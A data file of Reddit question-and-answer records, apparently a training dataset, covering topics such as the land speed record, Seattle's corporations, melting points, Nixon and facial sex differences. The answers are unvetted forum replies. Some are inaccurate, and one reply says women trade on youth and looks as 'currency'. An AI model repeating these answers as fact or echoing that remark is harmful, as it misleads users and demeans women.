{"q_id": "9sd346", "title": "with everything we have learned about technology and aerodynamics, why has the land speed record been untouched for 21 years?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9sd346/eli5_with_everything_we_have_learned_about/", "answers": {"a_id": ["e8ntpu9", "e8ntvvt", "e8ntxqr", "e8nty2p", "e8nu22s", "e8nuc69", "e8numpy", "e8nuzzi"], "score": [7, 30, 4, 11, 3, 21, 7, 2], "text": ["Safety standards and potential loss of life. Not too many people are willing to fund such risk.", "There is no economic incentive. You can't sell an overengineered car that works best at three times the speed limit. It would just be a science project for fun and giggles. You'd need to get Red Bull to sponsor it.", "While with new technology I'm sure we could break it just seems pointless. Its impractical and we've already done something really similar. Why don't we break this record or that record? Just because we can? Generally scientists work under a grant meaning someone is funding them money to do something. Almost always its to discover something that can make a profit but in the few other cases, its to benefit the scientific community. This probably wouldn't do either of those and it would cost a hell of a lot of money. Eventually at some point when technology gets good enough that it isn't particularly hard to break the record someone will probably do it as a publicity stunt or as an ad for a product, but until then, well I wouldn't hold my breath. ", "You also have to take into account the wheel composition. At such speeds it's very easy for even the slightest imbalance to cause a catastrophic failure.", "Because it's really hard to go faster than sound on the ground.  At that speed, flying's actually easier and more efficient.  Breaking the sound barrier was an awesome engineering feat, of no real practical value.  Going faster still, just to get in a recordbook, is simply too expensive, dangerous, and difficult.", "That's the manned land speed record.\n\nWe can go faster, with the record set at 10385kmh set by an unmanned rocket sled.\n\nAs to why we aren't working on faster manned vehicles, there is very little to be learned.\n\nWe know how to go fast, we know how to stick to the ground, and we know how humans react to the forces in question.", "Because it\u2019s enormously expensive to do so. The current project to try and break it - Bloodhound SSC - needs further funding of \u00a325million and have appointed administrators earlier this month to try and help with that, else the current attempt will fail because of lack of funding.\n\n_URL_0_", "The big issues are cost. The last land speed record were also set 15 years after the last vehicle set the record and 27 years after the last group set the record. Developing and building such a car takes a lot of money and time. The ThrustSSC project likely gained a lot of additional funds due to the goal of being the first supersonic car. The next land speed record will not be as spectacular as it will always share the record books with the ThrustSSC. For example the X-15 airplane is usually listed together with the X-1 even though it flew much faster and higher.\n\n & #x200B;\n\nThere is however several ongoing projects to breaking the land speed record. The ThrustSSC was a British car and so there is an American group trying to reclaim the land speed record called the North American Eagle Project. To save time and money they base their car on a Lockheed F-104 jet fighter which they are converting to a car. In response to this the British have also started their next car called the BloodhoundSSC."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://www.bloodhoundssc.com/"], []]}
{"q_id": "izgyt", "title": "Does maple syrup not splash because of its molecular structure?", "selftext": "Someone said this one morning at the dining hall, but I can't find anything online to back it up or disprove it.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/izgyt/does_maple_syrup_not_splash_because_of_its/", "answers": {"a_id": ["c27vwvp"], "score": [6], "text": ["It is due to [viscosity](_URL_0_), which depends on a number of different things."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Viscosity"]]}
{"q_id": "2u22wt", "title": "why is it rude to ask a woman about her age?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2u22wt/eli5_why_is_it_rude_to_ask_a_woman_about_her_age/", "answers": {"a_id": ["co4fov8", "co4fvyg", "co4g9n9", "co4gjkm", "co4h4wn", "co4me48", "co4o5tp", "co4r2bz", "co4vlei", "co4xsaa"], "score": [51, 18, 6, 6, 4, 3, 3, 21, 2, 5], "text": ["It's a remnant tradition from when woman were valued by appearance and how high they could marry. Age has a strong correlation with decrease in physical attractiveness ", "I find this whole forbidden question thing so weird and antiquated. I don't care if someone asks me how old I am, how much I earn, how much I weigh, or whatever. Maybe there are some truly personal things like, what do you think about when you masturbate (Scarlett Johanson) but these common taboos are frankly ridiculous especially as most can be estimated fairly accurately most of the time. ", "I get asked that question all the time. I'm again in vocational training and am obviously not fresh from school. \n\nBut I have the big advantage that when I answer truthfully people are astounded and tell me they would have guessed ten years younger. \n\nIf the normal reaction would be opposite I guess I'd hate that question, too. I'd be wondering if I look sick, grey, tired or have more wrinkles than I notice. That's not to say women ten years my senior look sick or tired but the logic would be to think what went wrong to make me look more aged than my years allow. \n\nSo those who get guessed about right just hate the \"about\" part. 2 years more or less isn't much but emotionally a world of a difference.", "It's just a social stigma now ingrained in western culture. ", "Because, generally speaking, you don't need to know, so your motive for asking is questionable by default. ", "because we've created a society that devalues women after they are a certain age. ", "It's rude to ask about anything someone is self conscious about.", "Not an answer, but a funny story I have about that.\n\nWhen I was like 17 or just about 18, I met a really cool Korean girl before work in a coffee shop. We kind of chatted for a bit, and really hit it off. I got her number, we text back and forth for a while, and eventually settled on a date. I figured she was around my age. But I knew about this \"rule\" where it's rude to ask a woman her age, so I never really bothered. \n\nThrough our dates we didn't really talk about work or anything, so I really had no reference for her age in terms of degrees or anything like that.\n\nAfter a few dates, she invites me to her home. I was expecting, y'know, the norm for college students around here. Living with your parents, or in a small apartment with roommates. Instead, she picks me up and we drive to *her* house, as in she owns it. But I still wasn't putting two and two together, in terms of age, but it did raise a few questions. So through conversation that night I found out that she was like 25 or 26, working as a head nurse for a local(ish) mental hospital, making 6 figures a year. We stayed together for a few years.\n\n10/10, would be sugarmomma'd again.", "I think it's lots of the above, plus a cultural thing. When I lived in the Middle East I would be asked how old I was a lot. It wasn't seen as rude or imposing, just simply a question to be answered.  It was shocking at first and then I got used to it. ", "Because women use their youth and sexyness as currency to get things from men.  So you're basically asking her what her value is."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "20wx9j", "title": "psychosomaticism", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20wx9j/eli5_psychosomaticism/", "answers": {"a_id": ["cg7hlqk", "cg7i6xv", "cg7jhie", "cg7udrw", "cg849oz"], "score": [7, 11, 47, 3, 2], "text": ["When emotional trauma creates a physical ailment, either real or perceived. See \"Ricky bobby\" when he goes to hospital scene for example and hilarity ", "Large amounts of emotional stress/trauma can cause the brain to \"convert\" that emotional pain into physical pain/illness. ", "Emotions cause reactions in your body. For example, Stress can cause headaches, which I'm sure you have experienced.  When you experience extreme emotions you can experience stronger physical problems.  You often don't realize it because we think of it as a mind trick or faking. Mind and body work together to create real symptoms (pain, numbness, gi problems, etc).  I'm a grad student in clinical psyc researching emotional expression and physical health. This was my best explanation for a 5yo", "When a doctor doesn't know what you have, or when his first few attempts at helping you with a smaller health problem fail, he will tell you it comes from your head and you need to have less stress.\n\nFor instance, stomach ulcers were once widely regarded to be caused by psychological issues, simply because stress can make your stomach get upset. Only later was it found out that ulcers are actually caused by bacteria.", "Psychosomaticism is a combination of two psychological factors--the actual effect of emotional/mental state on the human body (not that well understood), and confirmation bias.\n\nThe confirmation bias is straightforward--if someone tells you that there is a plague going around and the first symptom is itchiness, you'll suddenly notice how itchy you are and start worrying you have the plague. You're not more itchy than normal, but you're noticing it more, and attributing it to the disease (since normally you don't even consciously think about it).\n\nStep two--now your body is getting physically stressed out because you're worried about the plague (this is the mental part). You're worried, so you start sweating, as a physical response. Now you're more itchy because your skin is damp, so you're more convinced you've got the plague, so you get more stressed, etc. Strong emotions (such as fear and stress) can cause a significant response in the body that affects these symptoms.\n\nAs a result, you now have a perfectly healthy person who is sweating, stressed out, feeling sick, and itching all over--in other words, appears to have the plague, both because they expected to feel that way and made themselves feel that way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "8l8n0a", "title": "why does seattle have such a large number of major us corporations?", "selftext": "Since Microsoft, Amazon, Starbucks, Nordstrom and various other big companies are headquartered there, I am wondering if it is by chance or because of specific policies. Thanks ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8l8n0a/eli5_why_does_seattle_have_such_a_large_number_of/", "answers": {"a_id": ["dzdmp7e", "dzdmutf", "dzdxtcm", "dze85q2", "dze99ux", "dzerf0j"], "score": [18, 39, 9, 5, 2, 4], "text": ["Not just policies. Location too.\n\nSeattle's on the Pacific Ocean and so is an easy major seaport with access to major inexpensive manufactories in China and surrounding countries.\n\nIt has a good quality of life and lots of recreational opportunities thanks to the State of Washington's parks, ski hills, and other location-based perks. \n\nIt's very close to California and Silicon Valley, and thus has access to a lot of highly skilled IT staff, including imports from Asia.\n\nIt's growing like mad, and such things are kind of self-fueling. People go there for high-paying jobs, which injects more money regionally, which attracts more highly-paid jobs, which... and so on. And since the types of jobs it mostly produces aren't based on exhaustible local resources, its business model is somewhat stable.\n\nOoh ooh, and Bill Gates was born there. :)", "If you go back 30 years, Boeing was the only \"major\" employer in the region.  All those other \"major\" companies are still new.\n\nMicrosoft is in Seattle because that's where Bill Gates' family is from.  This leads to the city having a bunch of techies which is probably why Amazon decided to start there.\n\nBoeing was founded in Seattle because there was interest in sea-planes  &  lots of water/islands.\n\nStarbucks is in Seattle because that's where they were founded.  People in the Northwest like good coffee because it's damp and dreary 6mo out of the year but this could have started anywhere.\n\nNordstrom was another company that was founded there.  There's no real reason that they're any more successful than other department store chains other than the relative prosperity of the city giving them room to sell more upscale products.\n\nI can't really think of anything the city *did* other than being a relatively small coastal city (but still \"major\") at the start of the post-WW2 boom years when everyone wanted to move out to the West Coast  &  having lots of room for expansion.\n\n", "There are only 10 Fortune 500 companies based out of King county.\n\nFor reference, New York City has 40 Fortune 500 companies, and Fairfax county, a suburb of Washington DC, has 9.\n\nSeattle has a lot for a city of its size, but it\u2019s nothing out of the ordinary.", "Seattle (King County) has almost exactly the proportion of major US corporations you would expect for its size, plus its possession of a major seaport and multiple universities. It has 1% of the US urban population, and is home to 2% of the top 500 public companies.", "It doesn't have any more than you would expect. \n\nFor example, the Minneapolis-Saint Paul metro area in Minnesota is about the same size (both in population and total land area) and has 18 fortune 500 companies. That's almost twice as many in the same size city. \n\nIt just happens that alot of Seattle's big companies are things consumers have heard of.", "Scientist here who became an entrepreneur (and did a number of things that have placed me on a number of regional economic boards in several cities).  \n\nSeattle represents a city that has a concentration of several industries - and whose industries came to be concentrated there for several different reasons.  \n\nBoeing started in Seattle as a result of several things: 1) the invention of the airplane (new industry); 2) a person (William Boeing) who was an expert in wooden structures applying his expertise to a new industry (building airplanes) - he was in Seattle because of the timber industry (lots of trees in the Pacific Northwest); and 3) the availability of spruce in Seattle (spruce is strong and light and was a very good building material for early airplanes).  Seattle also had a thriving shipyard industry, which helped the airplane-building industry.  \n\nAs Boeing grew, and its airplanes became more complex, so too did Seattle's airplane-parts manufacturing industry.  Success begets success - many employees have their own ideas for how to make parts/things better - and the airplane industry and all of its associated industries (e.g. airplane parts) grows.  \n\nMicrosoft moved to Seattle at the dawn of a new industry (personal computer revolution).  When it became public, it created thousands of new millionaires (Microsoft employees with stock options) - many of whom founded their own software companies.  Then the internet revolution happened - furthering the growth of the software industry in Seattle.  Then the  \"internet of things\" revolution happened (smart phones, etc), adding more fuel to the software industry in Seattle.  Again, success begets success and Seattle is now a software industry juggernaut.  \n\nAs a place becomes more tech-savvy and successful, you also create a large pool of money from entrepreneurs who became successful.  This, in turn, drives the creation of local venture capital groups - usually who specialize in a specific tech area.  As the software industry in Seattle grew, so too did the available capital to fund new startup companies.  They also added fuel to grow the software industry - and, later, the biotechnology industry in Seattle.  \n\nSeattle also has a very high concentration of research universities, and outstanding research school of medicine, and additional research institutions.  Early success in one tech industry (software) helped to create local pools of venture capital required to fund the creation of the biotech industry in Seattle - taking early-stage research inventions out of the local research institutions and putting them in startup companies funded by newly-minted wealthy tech entrepreneurs.  \n\nSeattle also benefits from being relatively close to Silicon Valley - enabling the large and long-established venture capital firms there to be able to make investments in Seattle-based tech startups.  The father you are from Silicon Valley, the higher the hurdle for a San Fran-based VC firm to invest in your company.  \n\nWashington State is awesome - with zero personal income tax and zero corporate income taxes.  This is the primary reason that Jeff Bezos decided to locate Amazon in Seattle - as well as Seattle having a strong concentration in the software industry.  Washington State, therefore, has made itself a regional competitor to California - whose taxes are among the highest in the USA.  \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "60r2zj", "title": "What is the maximum heat of any known solid?", "selftext": "My son asked me tonight if it was possible for something to be as hot as the sun and still be a solid and I couldn't give him an answer. Help!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/60r2zj/what_is_the_maximum_heat_of_any_known_solid/", "answers": {"a_id": ["df8tehx", "df8w9j5", "dfat6ct"], "score": [61, 17, 3], "text": ["Currently the substance with the highest verified melting point is tantalum hafnium carbide (4263 K or 3990 \u00b0C or 7214 \u00b0F). In 2015, some theoretical calculations indicated that another substance (an alloy of hafnium, hydrogen and carbon) would have a higher melting temperature (about 4400 K), but that was not yet confirmed experimentally. \n\nSun's temperature is about 15,000,000K at the center and about 5800K at the surface, so the answer is that there is no known substance that would be solid at Sun's temperature. ", "Hey,\n\nroughly what u/roketo said.  I found slightly higher numbers for tantalum hafnium carbide [here](_URL_2_):\n\n >   Currently the record-holder is tantalum hafnium carbide (Ta4HfC5), a refractory compound with a melting point of 4488 K (4215 \u00b0C, 7619 \u00b0F).\n\nAs well as some numbers for Carbon (which afair sublimates):\n\n >  The chemical element with the highest melting point is carbon, at 4300\u20134700 K(4027\u20134427 \u00b0C, 7280\u20138000 \u00b0F).\n\nThrow in some edge-cases in the form of  [sunspots](_URL_1_) (3000K-4500K) and the next layer of the sun, the [cromosphere](_URL_0_) (with a chilly minimum of 3800K), and there actually are some plausible places for high-temp materials to stay solid at the sun ;-).\n\nCheers,\n\nMichael", "As others have said there are materials that can stay solid above 4000K.  Some stars (such as cool red dwarves such as the recently talked-about TRAPPIST-1 system) are as cool as 3000K at the surface.  So hypothetially you can make some shielded capsule as a sort of science probe out of tantalum hafnium carbide (with its +4000K melting point) and shoot the thing into the TRAPPIST-1 star and possibly get readings for quite a while before the electronics inside your capsule got too hot and cooked.\n\nSo it's theoretically possible to send probes into some stars!  Just our sun is a bit too hot to normally do that (sunspots can be cooler though).\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Chromosphere", "https://en.wikipedia.org/wiki/Sunspot", "http://www.wisegeek.org/which-material-has-the-highest-melting-point.htm"], []]}
{"q_id": "8kzboc", "title": "Richard Nixon created the EPA,ended the draft and later the Vietnam War,initiated the open door policy towards China, reached the ABM treaty w the USSR,enforced the desegregation of southern schools,and set temporary wage and price controls.How were these received by US conservatives?", "selftext": "\\(all per wiki\\) Did he run on these issues? Was there any sense of whiplash?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8kzboc/richard_nixon_created_the_epaended_the_draft_and/", "answers": {"a_id": ["dzcxda8"], "score": [14], "text": ["One thing I can say for sure is that the ABM treaty was received rather positively. It would mean the United States wouldn't have to spend money on an expensive and unproven program. SALT I, the treaty that limited the amount of long-range ballistic missiles for the US and USSR was criticized quite a bit. For Example, John M. Ashbrook a conservative from Ohio denounced the treaty, believing that it would allow the Soviet Union to become an uncontested Superpower. I know you didn't ask about this particular program but I think it still relates a lot with the ABM treaty. I'm not sure how conservatives reacted to the the opening of China, good question. Nixon's visits to the PRC in 1972 were more symbolic actions of peace which created a foundation for a more amiable relationship between the two countries. To my understanding the media coverage of the trip was pretty positive overall. Sauce: Jussie M. Hanhim\u00e4ki, *The Rise and Fall of D\u00e9tente: American Foreign Policy and the Transformation of the Cold War* 54-55. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2v5fyb", "title": "the napoleonic code", "selftext": "Please please please, explain like I'm really five.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2v5fyb/eli5_the_napoleonic_code/", "answers": {"a_id": ["coellg3", "coemf3z"], "score": [2, 2], "text": ["It's a very important legal document. It was written to replace feudal law, and listed a number of rights that were at that time not considered as something everyone entitled to. It was an attempt to override privilege based on birth, and was used as a template in many other countries to create better legal systems. Does that help?", "The world has been around for a really long time. A lot of the ideas and things that we think are normal weren't always true.\n\nBefore the 'French Revolution', Europe was ruled by men with guns. These men all agreed that their kids were more important than normal kids, and that their kids could boss around other kids. Really bad things happened to anyone who disobeyed.\n\nThe 'Napoleonic Code' was one of the first steps we took to make the world more fair. It said that the *best* person should be in charge, not just the kid who's parents were in charge before. It even said that it didn't matter if that person didn't believe in Jesus, so long as they were the best at the job, they should have it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3nw1t0", "title": "Is solid metal frozen?", "selftext": "A friend and I are in a debate about whether or not metal is frozen. His example is water can be frozen so molten metal can be frozen into the solid state we all know. Would it actually be considered frozen?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3nw1t0/is_solid_metal_frozen/", "answers": {"a_id": ["cvrsdyh", "cvrsg98", "cvrspq4", "cvrui21", "cvrwk59", "cvs0ena", "cvsboaq"], "score": [418, 29, 6, 18, 114, 2, 3], "text": ["Yes. The transition from liquid to solid of any element is called freezing. Solid is metal is frozen the same way liquid metal is melted. You can even boil metal (iron's boiling point is 2750^o C). ", "Metal is indeed \"frozen\" in the sense that water is frozen. If you heat metal up, it will melt into a liquid. Heat it up further and it will boil into a gas. \n\nI hope this debate with your friend doesn't turn into a fight!", "I would say this isn't really a science question so much as a language question. The actual state of the matter is \"solid\", but \"frozen\" can be used to describe solids.\n\nfreez\u00b7ing point  \nnoun: freezing point; plural noun: freezing points  \n\nthe temperature at which a liquid turns into a solid when cooled.", "Absolutely.  Everything with both a liquid state and a solid state that is currently in the solid state can be reasonably described as \"frozen\".  One of my textbooks even has a section titled \"Freezing of Ingots\" (discussing the mechanics of solidification from molten metal).  \n\nSome things don't freeze, because they don't have a liquid state for whatever reason (e.g. wood decomposes rather than melting when you heat it, so you can't really describe it as \"frozen\"). Other things don't have a liquid state at atmospheric pressure but do at different pressures (e.g. dry ice, solid CO*_2_*, transitions directly from solid to gas at atmospheric pressure as it warms up).  ", "I'm a welder professionally, and my real \"aha\" moment in welding school came when my instructor said that metal was frozen. Fun fact:you can weld ice. Heat up a butter knife over a fire, place two ice cubes next to each other, then run the heated blade along the cracks between the ice cubes. The water will refreeze, bonding the ice together.", "In commonly accepted terms, a liquid does not exhibit long range order on the molecular or atomic level.  A solid can actually have either ordered or still disordered atomic or molecular structure.  Thus the question is actually whether metal as a solid contains the atomic order necessary to categorize it as frozen. The exact meaning of frozen is then the next question. Depending on how water is frozen, it can be highly ordered or disordered at the molecular level. But, commonly, we consider frozen water to be fairly ordered. Specifically,  ordered in the immediate vicinity of any one water molecule. So, solid metal, being very well ordered on the atomic level, does share many structural aspects with frozen water. Therefore, one could loosely say that solid metal is in fact frozen metal. The mind bender is that metal can be frozen so quickly that it is not well ordered at the atomic level. This imparts the material with ask sorts of strange electronic, structural, and surface chemical properties. ", "Steelmaker here, your friend is correct. Generally when talking technically we'll use terms like 'solidification point' or similar, but when the steel stops teeming out of the tundish into the moulds we say that the metal froze off."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "4hjwz0", "title": "why are rc cars made that only turn in one direction?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4hjwz0/eli5_why_are_rc_cars_made_that_only_turn_in_one/", "answers": {"a_id": ["d2q6igj", "d2q761t", "d2qfax9", "d2qkm6f"], "score": [10, 3, 4, 4], "text": ["They are cheap. All you need is a motor and a signal to go forward, and a second signal to activate a lever to turn the wheels one way. Just that and you have a car that can go wherever with creative maneuvering.", "Simple answer is - Because people buy them.  They are inexpensive and easy to control.\n\nI remember as a little kid having one of those things, and having a blast with it!  And that's who it is marketed to, parents of little kids.  Allows them to give their kids an \"R/C Car\" without investing in the money needed for full control, or the time needed to learn full control.\n\nIt didn't take me long to decide that not having full control sucked.  But hey, I had an RC car!!!", "Some full size racing cars also only turn one direction and don't have gearing to go in reverse. If you're only ever doing laps in one direction, there's no need for the other.\n\nIn those cases, though, it's a wieght-saving change in addition to cost savings.", "You should have tried [the ones we had back in the 1970s](_URL_0_). Once you turned them on they went forward, full speed. The remote had a single button; when pushed the car would go into reverse at full speed but the wheels were rigged so it would also turn in reverse. So in order to \"steer\" in a particular direction you had to make it circle in reverse until the nose was pointing the direction you wanted. No way to stop or anything else. Such fun!\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://thumbs.ebaystatic.com/images/g/vKUAAOSwiYFXHUCT/s-l225.jpg"]]}
{"q_id": "4w22e0", "title": "Did soldiers in the American Civil War watch their language the way they're always portrayed?", "selftext": "An example is from the movie Gettysburg, when a Union officer hollered \"Drive those fellas outta this wood!\" Would real-life soldiers have traded \"fellas\" for something stronger, like soldiers today are thought of doing?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4w22e0/did_soldiers_in_the_american_civil_war_watch/", "answers": {"a_id": ["d64fggh"], "score": [3], "text": ["Well, yes and no. 150 years is a long time, and we (Americans) have a different dialect, not to mention social norms, that influence the way we talk. I think it would be safe to say that Americans, in general, are more profane now than we were in the 1860s. This is the result of a softening of morals in terms of profanity, and the evolution of the art of swearing. \n\nThat said, people in the 1860s knew how to swear, and did so (especially soldiers). Fuck, shit, bastard, etc. were all in use during this period, and some were known to use these colorful terms more than others. We know that Gen. Joseph Hooker and Gen. Philip Sheridan on the Union side were known to be profane, and somewhat proud of it. How profane the soldiers were usually depended on their commanding officer, and that C.O.'s C.O., and the level of comfort people had speaking in this way around them. We know that soldiers on both sides tended to be formed up in regiments based on locale, so it also stands to reason that a New York regiment formed from city street toughs would be more rough around the tongue than one from a more rural community like one from Maine. \n\nPrimary evidence does support the fact that people from the 1860s were far less likely to put this profanity in writing, as it was definitely not seen as something a gentleman (or woman) would engage in. Journals, letters, etc. don't give us a whole lot of examples of direct profanity, although mention of it by others definitely comes up at times. \n\n[Sources - James McPherson, 'Battle Cry of Freedom'; Bruce Catton, 'Grant Moves South']"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ah6qv8", "title": "what\u2019s the main facial characteristic that allows us to identify whether a person is a boy or a girl, and why?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ah6qv8/eli5_whats_the_main_facial_characteristic_that/", "answers": {"a_id": ["eebw5cg", "eebytmt", "eebz6rm", "eec4s4t", "eec5c4w", "eec5l22", "eec7pbc", "eec8515", "eec8eat", "eec8egm", "eec90dr", "eeca4ef"], "score": [357, 164, 114, 5, 12, 5, 5, 2, 11, 19, 3, 3], "text": ["Jaw size and shape is the most common way to differentiate sexes based on facial structure alone.", "People born male develop the \"cro magnon bulge\" [brow ridge](_URL_0_): a prominent ridge across the face just under the forehead and supporting the eyebrows.  Women in general don't have that bulge -- the forehead rises basically straight up from the optical orbits.  \n\nOnce you start noticing it, you'll never un-notice it. ", "There really isn\u2019t one main feature. The other answers point out some main features that are more masculine or feminine, however think of a dog vs cat. Name one feature that distinguishes them. You could come up with something, but really what happens is your brain is looking at a lot of things and making a judgment in a fraction of a second that what you\u2019re seeing is a cat. Before you notice the whiskers, you know it\u2019s a cat. It\u2019s the same in this case. It\u2019s your brain recognizing a pattern (and making judgements often without you knowing it when some feature doesn\u2019t fit the pattern), not a single feature", "Men generally have a larger face. While the eyes themselves are the same basic size, woman\u2019s eyes tend to look larger on a smaller face with smaller characteristics. Such as flat forehead with no bulging brow, a smaller nose, and a less defined jaw. \n\nBut generally the characteristics that make people attractive are fairly universal.  \n\nMen do prefer woman with youthful faces. ", "There are a lot of feature seen as masculine or feminine, there's not one thing you can pinpoint it to.\n\nIn general having soft features, small nose, wide eyes, large lips, round jawline, round hairline, small head, and a round forehead are scene as feminine. Some of these features can be changed with hormone replacement, so it's not purely skeletal.", "There\u2019s really no one \u201cmain\u201c characteristic.  \nIt\u2019s the culmination of a lot of individual factors that the brain compiles and judges subconsciously in a fraction of a second.", "I\u2019ve always understood it to be distribution of fat in the face.  Women have softer features due to a thin layer of fat that smoothies and rounds the face.  Men have sharper features because that isn\u2019t present.  ", "Former art student here; when I was taking figure drawing classes ( drawing people ) we learned it's all about jawlines. Men typically have more square features while women are more round. Check out some cartoons or anime and you can see it in the character design.", "The eyes! Also skin texture. I'm trans so i see a lot of these changes, but you can clearly recognize someone and still have the \"before\" and \"after\" hormones pictures be obviously different sexes. An AMAB person on Estrogen will change the quickest and most noticably in the face when their skin softens and their eyes widen. It sounds stupid, but there's subs here with side by side pictures of before hormone therapy (HRT) and after they've been on hormones for a while.\n\nContrarily, a trans man (aka female to male trans person) will have his skin get rougher, visibly, facial hair of course, and his eyes will be less bright and wide open. I have no clue why, but it's usually a very distinct difference looking at side by side images. ", "I i'ma say unless anyone in this thread is a doctor who studied this sort of thing, I've probably done more research on this topic than anyone else here\n\nThere's no single main characteristic\n\nThe big ones I can think of atm are bone structure, fat distribution, skin texture, hairline, eyebrows \n\n Men will have larger facial bones all over. Their jaw is bigger, their cheekbones and browbone are more prominent, etc. Their jaw is also normally a different angle (i think in men it's closer to like 90 and women it's like 100-110 but I got no clue tbh) \n\nIn addition, fat is distributed differently on the faces of men and women. I cannot, for the fucking life of me, figure out how. I have looked at countless before and after pictures after hormone treatments and compared every little detail and I have yet to find a single change that I can put into words other than \"it became more masculine / feminine\" and it irritates me to no end \n\nLastly, skin texture is very much affected by hormones. You really don't notice is consciously, but sub-consciously you can definitely pick up on it. Testosterone makes your skin thicker, rougher, and more oily. Estrogen makes is softer and smoother. I'm gunna throw facial hair in this paragraph too because if someone shaves their beard, the area where the beard was will still be rougher and darker. If someone has no beard though, they will actually have fine vellus hairs on the face. They're a dead giveaway because if you have a beard, you either shave it and have nothing, or you don't shave it and have stubble. You'll never fluff. \n\nMen have thicker eyebrows than women. It's another one of those things you don't consciously notice but it makes a very big difference\n\nMen's hair lines are much more square than women's. Dht (dihydrotestosterone) is a byproduct of testosterone. It's the hormone that makes your dick and beard grow during puberty. It also causes your hairline to recede. All men have it. All men's hairlines will recede some, beginning around puberty. You are not conscious of this one either. But hairline also plays a surprisingly decent role on how masculine/feminine someone is read.\n\nMen have bigger noses. I'm not kidding, testosterone makes your nose specifically grow. \n\nSo to sum it up, you're looking at overall shape - bone structure and fat distribution - skin texture, and then secondary sex characteristics like eyebrows and hairline \n\n", "Men generally have bigger and more defined jaws, smaller/deeper set eyes, more pronounced eyebrow bones, rougher textured skin, facial hair/five o'clock shadow, less fat on the face, more likely to have a cleft chin, more likely to have smaller lips, etc. There are a lot of characteristics. ", "Not exactly facial but I believe the head of shoulder ratio is a tell. Basically the number of heads that can fit in between the shoulders. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Brow_ridge"], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2mzwwb", "title": "Since the Ottomans claimed to be the new Rome after Constantinople's fall, when did the conquered Romans in Ottoman territory lose their identity as such?", "selftext": "When Mehmed took Constantinople, he claimed to be \"Kayser-i Rum\" \"Caeser of Rome\", and in many ways carried the tradition of being a \"Roman\" ruler forward even if it was a tenuous claim.\n\nI just wanted to know if there are any historical sources indicating the use of the term \"Romans\" in Ottoman life in following years, and if so at what point that ended.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2mzwwb/since_the_ottomans_claimed_to_be_the_new_rome/", "answers": {"a_id": ["cm99vdd"], "score": [9], "text": ["I asked similar question some time ago:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1zpt8r/when_did_conquered_byzantines_stopped_thinking_of/"]]}
{"q_id": "4qp1e1", "title": "Do overall suicide rates decline when methods are made unavailable? E.g., do areas with low firearm ownership have lower overall suicide rates, or do people just try other methods?", "selftext": "I've heard that in the 60s the UK switched from one type of gas for stoves (which had carbon monoxide in it) to another (which didn't), and thus people were no longer able to asphyxiate themselves with carbon monoxide. It apparently led to an overall reduction in suicide rates, the explanation being that suicidal people don't easily take the final step to try to kill themselves, and if there's no convenient method, often suicidal urge passes before they can find a way to follow through.\n\nI also read (from a non-scientific source; just a news story) that something similar happened in Sri Lanka when pesticides were switched so they were less dangerous for humans. This is the same logic with putting barricades or nets that make it harder to jump off bridges.\n\nBut is this true? Or is it just correlation, not causation?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4qp1e1/do_overall_suicide_rates_decline_when_methods_are/", "answers": {"a_id": ["d4urxa0"], "score": [49], "text": ["Areas with lower firearm ownership rates have lower rates of *successful* suicides - other methods are less sure.\n\nThere was also a law passed in the UK in the '90s that required acetaminophen  (Tylenol) to be packaged in blister packs and prohibited bottles of loose pills.  Over the next several years (presumably as people's medicine cabinets changed out to the new packaging) both overall suicide rates (all methods) and liver failure cases due to accidental acetaminophen overdose declined significantly.\n\nIt is damnably difficult to prove causation (instead of mere correlation) in these kinds of studies - there are such large numbers of confounding factors they can't completely be ruled out - but the evidence is at least highly suggestive that suicide method barriers (even something as small as popping pills out of blister packs) cause real reductions in the rates."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
